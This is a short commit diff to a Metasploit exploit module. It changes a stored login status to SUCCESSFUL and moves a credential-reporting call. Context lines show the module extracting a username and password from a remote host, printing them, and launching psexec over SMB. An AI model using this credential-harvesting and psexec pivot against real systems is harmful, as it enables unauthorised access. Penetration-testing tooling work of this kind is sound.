Change to Metasploit::Model::Login::Status::SUCCESSFUL
parent
78e4677bb1
commit
7e91121afc
|
@ -78,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
|
@ -130,15 +130,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
pass = resp[pass_index+1].gsub(/\"/, "")
|
||||
end
|
||||
|
||||
# report the auth
|
||||
report_cred(
|
||||
ip: datastore['RHOST'],
|
||||
port: 445,
|
||||
service_name: 'smb',
|
||||
user: user,
|
||||
password: pass
|
||||
)
|
||||
|
||||
srvc = {
|
||||
:host => datastore['RHOST'],
|
||||
:port => datastore['RPORT'],
|
||||
|
@ -154,6 +145,15 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
print_good("Collected credentials User: '#{user}' Password: '#{pass}'")
|
||||
|
||||
# report the auth
|
||||
report_cred(
|
||||
ip: datastore['RHOST'],
|
||||
port: 445,
|
||||
service_name: 'smb',
|
||||
user: user,
|
||||
password: pass
|
||||
)
|
||||
|
||||
# try psexec on the remote host
|
||||
psexec = framework.exploits.create("windows/smb/psexec")
|
||||
psexec.register_parent(self)
|
||||
|
|
Loading…
Reference in New Issue